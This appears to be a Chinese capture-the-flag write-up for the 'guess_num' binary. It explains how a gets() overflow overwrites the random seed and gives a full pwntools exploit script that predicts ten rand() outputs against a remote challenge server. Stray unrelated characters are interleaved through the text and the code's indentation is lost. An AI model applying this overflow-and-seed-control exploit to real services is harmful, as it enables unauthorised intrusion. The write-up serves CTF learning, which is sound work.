0x00 file
和checksec
0x01 ida查看
- 程序基本邏輯是生成隨機(jī)數(shù),然后猜,連續(xù)猜中
10
次便可得到flag
- 發(fā)現(xiàn)
v7
使用了gets
危險(xiǎn)函數(shù)臣缀,而且可以覆蓋seed
- 所以就有了思路怖现,
seed
能夠被控制的話扛拨,那隨機(jī)數(shù)也就相當(dāng)于可以控制了蛤奥,具體的可以查看srand
点弯、rand
盐碱、seed
的關(guān)系
0x02 完整exp
from pwn import *
from ctypes import *
local=0
pc='./guess_num'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
# gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 45968]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
payload = ''
payload += 'A'*0x20
payload += p64(1)
sla('Your name:', payload)
for i in range(0,10):
num = str(libc.rand()%6+1)
sla('number:', num)
p.interactive()
0x03 結(jié)果